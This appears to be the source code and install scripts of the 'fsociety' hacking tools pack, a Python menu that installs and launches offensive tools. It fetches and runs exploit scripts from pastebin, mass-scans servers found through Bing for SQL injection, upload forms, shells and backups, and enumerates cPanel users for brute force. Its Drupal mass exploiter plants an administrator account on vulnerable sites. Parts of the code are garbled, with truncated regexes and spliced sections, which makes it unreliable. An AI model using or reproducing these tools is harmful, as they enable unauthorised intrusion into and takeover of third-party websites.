(os.path.isdir(self.installDir)) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) os.system("apt-get -y install build-essential") os.system("make") os.system("sudo make install") def run(self): os.system("pixiewps --help") class bluepot: def __init__(self): self.installDir = toolDir + "bluepot" if not self.installed(): self.install() clearScr() self.run() def installed(self): return (os.path.isdir(self.installDir)) def install(self): os.system("apt-get install libbluetooth-dev") os.system( "wget -O - https://github.com/andrewmichaelsmith/bluepot/raw/master/bin/bluepot-0.1.tar.gz | tar xfz -") os.system("mv bluepot/ %s/" % self.installDir) def run(self): os.system("sudo java -jar %s/BluePot-0.1.jar" % self.installDir) ''' Exploitation Tools Classes ''' class exploitationToolsMenu: menuLogo = ''' 888888 Yb dP 88""Yb 88 88__ YbdP 88__dP 88 88"" dPYb 88""" 88 .o 888888 dP Yb 88 88ood8 ''' def __init__(self): clearScr() print(self.menuLogo) print(" {1}--ATSCAN") print(" {2}--sqlmap") print(" {3}--Shellnoob") print(" {4}--commix") print(" {5}--FTP Auto Bypass") print(" {6}--JBoss-Autopwn") print(" {7}--Blind SQL Automatic Injection And Exploit") print(" {8}--Bruteforce the Android Passcode given the hash and salt") print(" {9}--Joomla SQL injection Scanner \n ") print(" {99}-Go Back To Main Menu \n") choice5 = raw_input(fsocietyPrompt) clearScr() if choice5 == "1": atscan() elif choice5 == "2": sqlmap() elif choice5 == "3": shellnoob() elif choice5 == "4": commix() elif choice5 == "5": gabriel() elif choice5 == "6": jboss() elif choice5 == "7": bsqlbf() elif choice5 == "8": androidhash() elif choice5 == "9": cmsfew() elif choice5 == "99": fsociety() else: self.__init__() self.completed() def completed(self): raw_input("Completed, click return to go back") self.__init__() class brutex: def __init__(self): self.installDir = toolDir + "brutex" self.gitRepo = "https://github.com/1N3/BruteX.git" if not self.installed(): self.install() clearScr() self.run() def installed(self): return (os.path.isdir(self.installDir)) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) if not os.path.isdir("/usr/share/brutex"): os.makedirs("/usr/share/brutex") os.system("cd %s && chmod +x install.sh && ./install.sh" % self.installDir) def run(self): target = raw_input("Enter Target IP: ") os.system("brutex %s" % target) class arachni: def __init__(self): self.installDir = toolDir + "arachni" self.gitRepo = "https://github.com/Arachni/arachni.git" if not self.installed(): self.install() clearScr() self.run() def installed(self): return (os.path.isdir(self.installDir)) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) os.system("cd %s/" % self.installDir) os.system( "gem install bundler && bundle install --without prof && rake install") def run(self): target = raw_input("Enter Target Hostname: ") os.system("arachni %s --output-debug 2> %sarachni/%s.log" % (target, logDir, strftime("%Y-%m-%d_%H:%M:%S", gmtime()))) # Updated to Here def weeman(): print("HTTP server for phishing in python. (and framework) Usually you will want to run Weeman with DNS spoof attack. (see dsniff, ettercap).") if yesOrNo(): os.system( "git clone --depth=1 https://github.com/samyoyo/weeman.git && cd weeman && python weeman.py") else: fsociety() def gabriel(): print("Abusing authentication bypass of Open&Compact (Gabriel's)") os.system("wget http://pastebin.com/raw/Szg20yUh --output-document=gabriel.py") clearScr() os.system("python gabriel.py") ftpbypass = raw_input("Enter Target IP and Use Command:") os.system("python gabriel.py %s" % ftpbypass) def sitechecker(): os.system("wget http://pastebin.com/raw/Y0cqkjrj --output-document=ch01.py") clearScr() os.system("python ch01.py") def ifinurl(): print(''' This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.''') print('Do You Want To Install InurlBR ? ') cinurl = raw_input("Y/N: ") if cinurl in yes: inurl() else: fsociety() def bsqlbf(): clearScr() print("This tool will only work on blind sql injection") cbsq = raw_input("select target: ") os.system("wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/bsqlbf-v2/bsqlbf-v2-7.pl -o bsqlbf.pl") os.system("perl bsqlbf.pl -url %s" % cbsq) os.system("rm bsqlbf.pl") def atscan(): print ("Do You To Install ATSCAN ?") if yesOrNo(): os.system("rm -rf ATSCAN") os.system( "git clone --depth=1 https://github.com/AlisamTechnology/ATSCAN.git && cd ATSCAN && perl atscan.pl") else: fsociety() def commix(): print ("Automated All-in-One OS Command Injection and Exploitation Tool.") print ("usage: python commix.py --help") if yesOrNo(): os.system( "git clone --depth=1 https://github.com/stasinopoulos/commix.git commix") os.system("cd commix") os.system("python commix.py") os.system("") else: informationGatheringMenu.completed("Commix") def vbulletinrce(): os.system("wget http://pastebin.com/raw/eRSkgnZk --output-document=tmp.pl") os.system("perl tmp.pl") def joomlarce(): os.system("wget http://pastebin.com/raw/EX7Gcbxk --output-document=temp.py") clearScr() print("if the response is 200 , you will find your shell in Joomla_3.5_Shell.txt") jmtarget = raw_input("Select a targets list:") os.system("python temp.py %s" % jmtarget) def inurl(): dork = raw_input("select a Dork:") output = raw_input("select a file to save:") os.system( "./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output)) webHackingMenu.completed("InurlBR") def insinurl(): os.system( "git clone --depth=1 https://github.com/googleinurl/SCANNER-INURLBR.git") os.system("chmod +x SCANNER-INURLBR/inurlbr.php") os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl") os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php") clearScr() inurl() def jboss(): clearScr() print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once") print ("deployed, the script uses its upload and command execution capability to") print ("provide an interactive session.") print ("") print ("usage: ./e.sh target_ip tcp_port ") print("Continue: y/n") if yesOrNo(): os.system( "git clone --depth=1 https://github.com/SpiderLabs/jboss-autopwn.git"), sys.exit() else: fsociety() def wppluginscan(): Notfound = [404, 401, 400, 403, 406, 301] sitesfile = raw_input("sites file: ") filepath = raw_input("Plugins File: ") def scan(site, dir): global resp try: conn = httplib.HTTPConnection(site) conn.request('HEAD', "/wp-content/plugins/" + dir) resp = conn.getresponse().status except Exception as message: print("Cant Connect:" + message) pass def timer(): now = time.localtime(time.time()) return time.asctime(now) def main(): sites = open(sitesfile).readlines() plugins = open(filepath).readlines() for site in sites: site = site.rstrip() for plugin in plugins: plugin = plugin.rstrip() scan(site, plugin) if resp not in Notfound: print("+----------------------------------------+") print("| current site:" + site) print("| Found Plugin: " + plugin) print("| Result:", resp) def sqlmap(): print ("usage: python sqlmap.py -h") if yesOrNo(): os.system( "git clone --depth=1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ") else: informationGatheringMenu.completed("SQLMap") def grabuploadedlink(url): try: for dir in directories: currentcode = urllib.urlopen(url + dir).getcode() if currentcode == 200 or currentcode == 403: print "-------------------------" print " [ + ] Found Directory: " + str(url + dir) + " [ + ]" print "-------------------------" upload.append(url + dir) except: pass def grabshell(url): try: for upl in upload: for shell in shells: currentcode = urllib.urlopen(upl + shell).getcode() if currentcode == 200: print "-------------------------" print " [ ! ] Found Shell: " + \ str(upl + shell) + " [ ! ]" print "-------------------------" except: pass def shelltarget(): print("Exemple: http://target.com") line = raw_input("target: ") line = line.rstrip() grabuploadedlink(line) grabshell(line) def poet(): print("POET is a simple POst-Exploitation Tool.\n") if yesOrNo(): os.system("git clone --depth=1 https://github.com/mossberg/poet.git") os.system("python poet/server.py") else: postExploitationMenu.completed("POET") def ssls(): print('''sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks. It requires Python 2.5 or newer, along with the 'twisted' python module.''') if yesOrNo(): os.system("git clone --depth=1 https://github.com/moxie0/sslstrip.git") os.system("apt-get install python-twisted-web") os.system("python sslstrip/setup.py") else: sniffingSpoofingMenu.completed("SSlStrip") def unique(seq): seen = set() return [seen.add(x) or x for x in seq if x not in seen] def bing_all_grabber(s): lista = [] page = 1 while page <= 101: try: bing = "http://www.bing.com/search?q=ip%3A" + \ s + "+&count=50&first=" + str(page) openbing = urllib2.urlopen(bing) readbing = openbing.read() findwebs = re.findall('

') self.portScanner(1, ran) elif choice == '10': self.portScanner(2, None) elif choice == '11': self.getServerBanner() elif choice == '12': self.cloudflareBypasser() elif choice == '99': fsociety() con = raw_input(' Continue [Y/n] -> ') if con[0].upper() == 'N': exit() else: clearScr() print menuu def getSites(self, a): ''' get all websites on same server from bing search ''' lista = [] page = 1 while page <= 101: try: bing = "http://www.bing.com/search?q=ip%3A" + \ self.serverip + "+&count=50&first=" + str(page) openbing = urllib2.urlopen(bing) readbing = openbing.read() findwebs = re.findall('

", site + admin except IOError: pass ############################ # find ZIP files def findZip(self): ''' find zip files from grabbed websites it may contain useful informations ''' zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar'] clearScr() print "[~] Finding zip file" for site in self.sites: for zip1 in zipList: try: if urllib.urlopen(site + zip1).getcode() == 200: print " [*] Found zip file -> ", site + zip1 except IOError: pass def findUp(self): ''' find upload forms from grabbed websites the attacker may succeed to upload malicious files like webshells ''' upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php', 'blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php'] clearScr() print "[~] Finding Upload" for site in self.sites: for up in upList: try: if (urllib.urlopen(site + up).getcode() == 200): html = urllib.urlopen(site + up).readlines() for line in html: if re.findall('type=file', line): print " [*] Found upload -> ", site + up except IOError: pass def getUsers(self): ''' get server users using a method found by iranian hackers , the attacker may do a bruteforce attack on CPanel, ssh, ftp or even mysql if it supports remote login (you can use medusa or hydra) ''' clearScr() print "[~] Grabbing Users" userslist = [] for site1 in self.sites: try: site = site1 site = site.replace('http://www.', '') site = site.replace('http://', '') site = site.replace('.', '') if '-' in site: site = site.replace('-', '') site = site.replace('/', '') while len(site) > 2: resp = urllib2.urlopen( site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read() if 'invalid username' not in resp.lower(): print '\t [*] Found -> ', site userslist.append(site) break else: print site site = site[:-1] except: pass clearScr() for user in userslist: print user def cloudflareBypasser(self): ''' tries to bypass cloudflare i already wrote in my blog how it works, i learned this method from a guy in madleets ''' clearScr() print "[~] Bypassing cloudflare" subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel'] for site in self.sites: site.replace('http://', '') site.replace('/', '') try: ip = socket.gethostbyname(site) except socket.error: pass for sub in subdoms: doo = sub + '.' + site print ' [~] Trying -> ', doo try: ddd = socket.gethostbyname(doo) if ddd != ip: print ' [*] Cloudflare bypassed -> ', ddd break except socket.error: pass def getServerBanner(self): ''' simply gets the server banner the attacker may benefit from it like getting the server side software ''' clearScr() try: s = 'http://' + self.serverip httpresponse = urllib.urlopen(s) print ' [*] Server header -> ', httpresponse.headers.getheader( 'server') except: print('[*] Server header -> Not Found') def grabSqli(self): ''' just grabs all websites in server with php?id= dork for scanning for error based sql injection ''' page = 1 lista = [] while page <= 101: try: bing = "http://www.bing.com/search?q=ip%3A" + \ self.serverip + "+php?id=&count=50&first=" + str(page) openbing = urllib2.urlopen(bing) readbing = openbing.read() findwebs = re.findall('

<", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"] check = re.compile( "Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I) for url in s: try: for param in url.split('?')[1].split('&'): for payload in payloads: power = url.replace(param, param + payload.strip()) html = urllib2.urlopen(power).readlines() for line in html: checker = re.findall(check, line) if len(checker) != 0: print ' [*] SQLi found -> ', power except: pass def portScanner(self, mode, ran): ''' simple port scanner works with range of ports or with common ports (al-swisre idea) ''' clearScr() print "[~] Scanning Ports" if mode == 1: a = ran.split('-') start = int(a[0]) end = int(a[1]) for i in range(start, end): do_it(self.serverip, i) elif mode == 2: for port in [80, 21, 22, 2082, 25, 53, 110, 443, 143]: do_it(self.serverip, port) def do_it(ip, port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock = sock.connect_ex((ip, port)) if sock == 0: print " [*] Port %i is open" % port ############################ minu = ''' \t 1: Drupal Bing Exploiter \t 2: Get Drupal Websites \t 3: Drupal Mass Exploiter \t 99: Back To Main Menu ''' def drupal(): '''Drupal Exploit Binger All Websites Of server ''' ip = raw_input('1- IP: ') page = 1 while page <= 50: url = "http://www.bing.com/search?q=ip%3A" + ip + "&go=Valider&qs=n&form=QBRE&pq=ip%3A" + \ ip + "&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first=" + \ str(page) req = urllib2.Request(url) opreq = urllib2.urlopen(req).read() findurl = re.findall( '

" + site print "user:HolaKo\npass:admin" a = open('up.txt', 'a') a.write(site + '\n') a.write("user:" + user + "\npass:" + pwd + "\n") else: print "[-] Expl Not Found:( " except Exception as ex: print ex sys.exit(0) # Drupal Server ExtraCtor def getdrupal(): ip = raw_input('Enter The Ip: ') page = 1 sites = list() while page <= 50: url = "http://www.bing.com/search?q=ip%3A" + ip + \ "+node&go=Valider&qs=ds&form=QBRE&first=" + str(page) req = urllib2.Request(url) opreq = urllib2.urlopen(req).read() findurl = re.findall( '

" + url print "[-]username:HolaKo\n[-]password:admin" save = open('drupal.txt', 'a') save.write( url + "\n" + "[-]username:HolaKo\n[-]password:admin\n") else: print i + "=> exploit not found " except Exception as ex: print ex def maine(): print minu choose = raw_input("choose a number: ") while True: if choose == "1": drupal() elif choose == "2": getdrupal() elif choose == "3": drupallist() elif choose == "4": about() elif choose == "99": fsociety() else: maine() def unique(seq): seen = set() return [seen.add(x) or x for x in seq if x not in seen] def bing_all_grabber(s): lista = [] page = 1 while page <= 101: try: bing = "http://www.bing.com/search?q=ip%3A" + \ s + "+&count=50&first=" + str(page) openbing = urllib2.urlopen(bing) readbing = openbing.read() findwebs = re.findall('

" + sqli) def sqlscan(): ip = raw_input('Enter IP -> ') grabsqli(ip) def unique(seq): seen = set() return [seen.add(x) or x for x in seq if x not in seen] def bing_all_grabber(s): lista = [] page = 1 while page <= 101: try: bing = "http://www.bing.com/search?q=ip%3A" + \ s + "+&count=50&first=" + str(page) openbing = urllib2.urlopen(bing) readbing = openbing.read() findwebs = re.findall('

"$INSTALL_DIR/fsociety"; chmod +x "$INSTALL_DIR/fsociety"; if [ "$TERMUX" = true ]; then cp "$INSTALL_DIR/fsociety" "$BIN_DIR" cp "$INSTALL_DIR/fsociety.cfg" "$BIN_DIR" else sudo cp "$INSTALL_DIR/fsociety" "$BIN_DIR" sudo cp "$INSTALL_DIR/fsociety.cfg" "$BIN_DIR" fi rm "$INSTALL_DIR/fsociety"; if [ -d "$INSTALL_DIR" ] ; then echo ""; echo "[✔] Tool installed successfully! [✔]"; echo ""; echo "[✔]====================================================================[✔]"; echo "[✔] All is done!! You can execute tool by typing fsociety ! [✔]"; echo "[✔]====================================================================[✔]"; echo ""; else echo "[✘] Installation failed! [✘] "; exit fi ================================================ FILE: snap/snapcraft.yaml ================================================ name: fsociety version: '0.3' # just for humans, typically '1.2+git' or '1.3.2' summary: fsociety Hacking Tools Pack – A Penetration Testing Framework # 79 char long summary description: Fsociety Hacking Tools Pack A Penetration Testing Framework, you will have every script that a hacker needs Fsociety Contains All Tools Used in Mr. Robot Series grade: devel # must be 'stable' to release into candidate/stable channels confinement: devmode # use 'strict' once you have the right plugs and slots parts: my-part: # See 'snapcraft plugins' plugin: nil ================================================ FILE: uninstall ================================================ #!/bin/bash # Script for uninstall Fsociety tools # ----- FSociety Team ----- # # Coded by: CRO-THEHACKER # * https://github.com/CRO-THEHACKER/ # Feel free to share any ideas with the # project! # # ------------------------- clear echo " "; if [ "$PREFIX" = "/data/data/com.termux/files/usr" ]; then INSTALL_DIR="$PREFIX/usr/share/doc/fsociety" BIN_DIR="$PREFIX/bin/" BASH_PATH="$PREFIX/bin/bash" TERMUX=true elif [ "$(uname)" = "Darwin" ]; then INSTALL_DIR="/usr/local/fsociety" BIN_DIR="/usr/local/bin/" BASH_PATH="/bin/bash" TERMUX=false else INSTALL_DIR="$HOME/.fsociety" BIN_DIR="/usr/local/bin/" BASH_PATH="/bin/bash" TERMUX=false fi echo "[✔] Checking directories..."; if [ -d "$INSTALL_DIR" ]; then rm -rf "$INSTALL_DIR" rm "$BIN_DIR/fsociety*" sudo rm -rf "$INSTALL_DIR" sudo rm "$BIN_DIR/fsociety*" else echo "[✘] If you want to uninstall you must remove previous installations [✘] "; echo "[✘] Failed! [✘] "; fi echo "[✔] Cleaning up old directories..."; if [ -d "$ETC_DIR/Manisso" ]; then echo "$DIR_FOUND_TEXT" if [ "$TERMUX" = true ]; then rm -rf "$ETC_DIR/Manisso" else sudo rm -rf "$ETC_DIR/Manisso" fi fi clear clear echo "[✔] all good!" ================================================ FILE: update.sh ================================================ #!/bin/bash # Script for update Fsociety tools git clone --depth=1 https://github.com/Manisso/fsociety.git sudo chmod +x fsociety/install.sh bash fsociety/install.sh